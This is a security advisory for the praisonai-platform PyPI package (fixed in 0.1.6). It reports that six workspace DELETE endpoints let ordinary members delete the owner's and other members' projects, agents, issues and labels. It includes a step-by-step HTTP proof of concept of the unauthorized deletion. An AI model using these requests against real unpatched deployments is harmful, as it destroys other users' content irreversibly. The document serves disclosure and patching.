GHSA-rh39-9c67-59mh
PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | praisonai-platform | >= 0.1.4, < 0.1.6 | 0.1.6 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.
### Details
The [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others' content:
| Capability | Owner | Admin | Member |
|---|---|---|---|
| Create issues/tasks | ✅ | ✅ | ✅ |
| Edit own content | ✅ | ✅ | ✅ |
| Edit others' content | ✅ | ✅ | ❌ |
The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it.
**Confirmed vulnerable endpoints:**
| Endpoint | Expected | Actual |
|---|---|---|
| `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 |
| `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 |
| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 |
| `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 |
| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 |
| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 |
The missing check is isolated to content resource DELETEs.
### PoC
**Requirements:** Two accounts — owner (resource creator) and member (attacker).
**1. Register both accounts**
```http
POST /api/v1/auth/register
Content-Type: application/json
{"email": "[email protected]", "password": "Password1!", "name": "owner"}
```
```http
POST /api/v1/auth/register
Content-Type: application/json
{"email": "[email protected]", "password": "Password1!", "name": "member"}
```
**2. Owner creates workspace, adds member with `member` role**
```http
POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"name": "Test Workspace"}
```
```http
POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json
{"user_id": "<member_user_id>", "role": "member"}
```
**3. Owner creates a project**
```http
POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"title": "Owner's Project"}
```
Response `201 Created`:
```json
{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}
```
**4. Member deletes the owner's project**
```http
DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>
```
Response: **`204 No Content`**
**5. Owner confirms the project is permanently gone**
```http
GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>
```
Response: **`404 Not Found`**
```json
{"detail": "Project not found"}
```
The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).
---
### Impact
This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.
**Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.
References
External links from the advisory. They lead to third-party sites.